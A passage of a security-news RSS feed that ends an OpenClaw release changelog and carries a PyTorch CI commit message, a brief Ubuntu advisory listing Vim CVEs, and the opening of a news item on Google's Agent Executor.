<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
<p>Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510559084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85933/hovercard" href="https://github.com/openclaw/openclaw/pull/85933">#85933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.</p>
</li>
<li>
<p>QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.</p>
</li>
<li>
<p>Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run <code>pnpm check:changed</code> from the intended diff.</p>
</li>
<li>
<p>xAI/LM Studio: avoid buffering ordinary bracketed or <code>final</code> prose until stream completion while watching for plain-text tool-call fallbacks.</p>
</li>
<li>
<p>Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512146374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86102/hovercard" href="https://github.com/openclaw/openclaw/issues/86102">#86102</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1052326311/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1052326311">@1052326311</a>.</p>
</li>
<li>
<p>Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.</p>
</li>
<li>
<p>Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that <code>pnpm build</code> includes <code>ui:build</code>.</p>
</li>
<li>
<p>Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.</p>
</li>
<li>
<p>Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.</p>
</li>
<li>
<p>QA-Lab: make the synthetic OpenAI provider honor generic <code>reply exactly:</code> directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.</p>
</li>
<li>
<p>Gateway: abort active <code>agent</code> RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.</p>
</li>
<li>
<p>Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.</p>
</li>
<li>
<p>Build: route <code>scripts/ui.js</code> through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce <code>dist/control-ui</code>.</p>
</li>
<li>
<p>Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.</p>
</li>
<li>
<p>Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.</p>
</li>
<li>
<p>Install/update: bypass npm <code>min-release-age</code> policies with <code>--min-release-age=0</code> instead of <code>--before</code> so hosted installers keep working on npm versions that reject the combined config. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490856882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84749/hovercard" href="https://github.com/openclaw/openclaw/pull/84749">#84749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TeodoroRodrigo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TeodoroRodrigo">@TeodoroRodrigo</a>.</p>
</li>
<li>
<p>Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506871185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85639" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85639/hovercard" href="https://github.com/openclaw/openclaw/issues/85639">#85639</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514654012" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86347" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86347/hovercard" href="https://github.com/openclaw/openclaw/issues/86347">#86347</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.</p>
</li>
<li>
<p>Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.</p>
</li>
<li>
<p>Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.</p>
</li>
<li>
<p>Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432420395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81153" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81153/hovercard" href="https://github.com/openclaw/openclaw/pull/81153">#81153</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513214742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86222" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86222/hovercard" href="https://github.com/openclaw/openclaw/pull/86222">#86222</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>CLI: suppress benign self-update version-skew warnings during package post-update finalization.</p>
</li>
<li>
<p>Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or <code>n/a</code> results.</p>
</li>
<li>
<p>Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.</p>
</li>
<li>
<p>Docker: restore writable <code>~/.config</code> in runtime images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510825052" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85968/hovercard" href="https://github.com/openclaw/openclaw/issues/85968">#85968</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hkoessler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hkoessler">@hkoessler</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</p>
</li>
<li>
<p>Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.</p>
</li>
<li>
<p>Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.</p>
</li>
<li>
<p>Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.</p>
</li>
<li>
<p>Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513790064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86287/hovercard" href="https://github.com/openclaw/openclaw/pull/86287">#86287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.</p>
</li>
<li>
<p>Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.</p>
</li>
<li>
<p>Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on <code>control_request</code>, and document that OpenClaw exec policy is authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4425323621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80819/hovercard" href="https://github.com/openclaw/openclaw/issues/80819">#80819</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514343781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86330" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86330/hovercard" href="https://github.com/openclaw/openclaw/pull/86330">#86330</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450374694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81971/hovercard" href="https://github.com/openclaw/openclaw/pull/81971">#81971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guthirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guthirry">@guthirry</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude <code>--permission-mode</code> for managed live sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.</p>
</li>
<li>
<p>Codex: log when implicit app-server <code>never</code> approvals are promoted for OpenClaw tool policy, including whether the trigger was a <code>before_tool_call</code> hook or trusted tool policy.</p>
</li>
<li>
<p>Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474267416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83971" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83971/hovercard" href="https://github.com/openclaw/openclaw/pull/83971">#83971</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damianFelixPago/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damianFelixPago">@damianFelixPago</a>.</p>
</li>
<li>
<p>Telegram: route normal <code>[telegram][diag]</code> polling diagnostics through <code>runtime.log</code> while keeping non-diag warnings and persistence failures on <code>runtime.error</code>, so healthy polling startup no longer looks like an error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462473913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82957/hovercard" href="https://github.com/openclaw/openclaw/issues/82957">#82957</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462475221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82958" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82958/hovercard" href="https://github.com/openclaw/openclaw/pull/82958">#82958</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513786914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86286/hovercard" href="https://github.com/openclaw/openclaw/pull/86286">#86286</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</p>
</li>
<li>
<p>Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507699906" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85690" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85690/hovercard" href="https://github.com/openclaw/openclaw/pull/85690">#85690</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</p>
</li>
<li>
<p>Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>iMessage: dedupe watcher startup when <code>channels.imessage.accounts</code> lists both <code>default</code> and a named account that point at the same local Messages source, so the gateway no longer spawns two <code>imsg rpc</code> processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and <code>openclaw doctor</code> flags the redundant account with a rebinding hint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246413314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65141/hovercard" href="https://github.com/openclaw/openclaw/issues/65141">#65141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/5082fb922f1683b096a2393e601a185ee66d203b: Use dtensor-build's docker-image output in dtensor-test (#185158)]]></title>
<description><![CDATA[dtensor.yml passes the bare image name
ci-image:pytorch-linux-jammy-cuda13.0-cudnn9-py3-gcc11 to
_linux-test.yml. The test-osdc job uses that value verbatim as the pod's
container.image, so the OSDC pool tries to resolve the bare name against
its default registry, where the image isn't published....]]></description>
<link>https://tsecurity.de/de/3546576/downloads/trunk5082fb922f1683b096a2393e601a185ee66d203b-use-dtensor-builds-docker-image-output-in-dtensor-test-185158/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546576/downloads/trunk5082fb922f1683b096a2393e601a185ee66d203b-use-dtensor-builds-docker-image-output-in-dtensor-test-185158/</guid>
<pubDate>Tue, 26 May 2026 02:01:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>dtensor.yml passes the bare image name<br>
ci-image:pytorch-linux-jammy-cuda13.0-cudnn9-py3-gcc11 to<br>
_linux-test.yml. The test-osdc job uses that value verbatim as the pod's<br>
container.image, so the OSDC pool tries to resolve the bare name against<br>
its default registry, where the image isn't published. The pod sits in<br>
ImagePullBackOff for the full 7200s pod-creation timeout and fails. Over<br>
the last 3 days this produced 61/61 OSDC dtensor-test failures (~89pp<br>
OSDC-only failure-rate delta on the dtensor shard, the largest remaining<br>
contributor to the OSDC vs EC2 shadow-mode failure-rate gap).</p>
<p>Reference dtensor-build.outputs.docker-image instead. Post <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492203255" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/184665" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/184665/hovercard" href="https://github.com/pytorch/pytorch/pull/184665">#184665</a> the<br>
OSDC build job emits a fully qualified ECR URL<br>
(308535385114.dkr.ecr.us-east-1.amazonaws.com/pytorch/...) that the OSDC<br>
pool can pull. This matches the idiom every other caller of<br>
_linux-test.yml uses (pull.yml, trunk.yml, periodic.yml, inductor.yml,<br>
torchtitan.yml, ...); dtensor.yml was the only test caller passing a<br>
bare name.</p>
<p>The alternative was to hardcode the full ECR URL inline like<br>
dynamo-unittest.yml does, but that duplicates the registry host in yet<br>
another workflow and drifts from the rest of the test callers. The<br>
build-output reference is the structural fix.</p>
<p>_linux-test.yml, _docs.yml, and _linux-test-stable-fa3.yml still have a<br>
plain <code>image: ${{ inputs.docker-image }}</code> in their OSDC code path and<br>
rely entirely on callers passing a fully qualified URL. A separate<br>
change should mirror the ECR-URL construction _linux-build.yml got in<br>
<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492203255" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/184665" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/184665/hovercard" href="https://github.com/pytorch/pytorch/pull/184665">#184665</a> so future callers can't repeat this mistake.</p>
<p>Test Plan: push ciflow/dtensor on this commit and confirm the OSDC<br>
dtensor-test pod pulls the image and runs to completion.</p>
<p>Authored by Claude.<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519243189" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/185158" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/185158/hovercard" href="https://github.com/pytorch/pytorch/pull/185158">#185158</a><br>
Approved by: <a href="https://github.com/wdvr">https://github.com/wdvr</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8304-1: Vim vulnerabilities]]></title>
<description><![CDATA[Joshua Rogers discovered that Vim incorrectly handled certain URL schemes
in the netrw plugin. An attacker could possibly use this issue to execute
arbitrary commands. (CVE-2026-42307)

It was discovered that Vim incorrectly handled command-line completion for
the :find command. An attacker could...]]></description>
<link>https://tsecurity.de/de/3546408/unix-server/usn-8304-1-vim-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546408/unix-server/usn-8304-1-vim-vulnerabilities/</guid>
<pubDate>Mon, 25 May 2026 23:45:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Joshua Rogers discovered that Vim incorrectly handled certain URL schemes
in the netrw plugin. An attacker could possibly use this issue to execute
arbitrary commands. (CVE-2026-42307)

It was discovered that Vim incorrectly handled command-line completion for
the :find command. An attacker could possibly use this issue to execute
arbitrary commands. (CVE-2026-44656)

Daniel Cervera discovered that Vim incorrectly handled loading spell files.
An attacker could possibly use this issue to cause a denial of service, or
to execute arbitrary code. (CVE-2026-45130)]]></content:encoded>
</item>
<item>
<title><![CDATA[Google adds open source Agent Executor to support AI agents in production]]></title>
<description><![CDATA[Google has introduced Agent Executor, an open source runtime aimed at helping enterprises run AI agents more reliably at scale, as attention shifts from building agent prototypes to managing the operational challenges of putting them into production.



To address those production-related challen...]]></description>
<link>https://tsecurity.de/de/3546203/ai-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3546203/ai-nachrichten/google-adds-open-source-agent-executor-to-support-ai-agents-in-production/</guid>
<pubDate>Mon, 25 May 2026 20:48:02 +0200</pubDate>
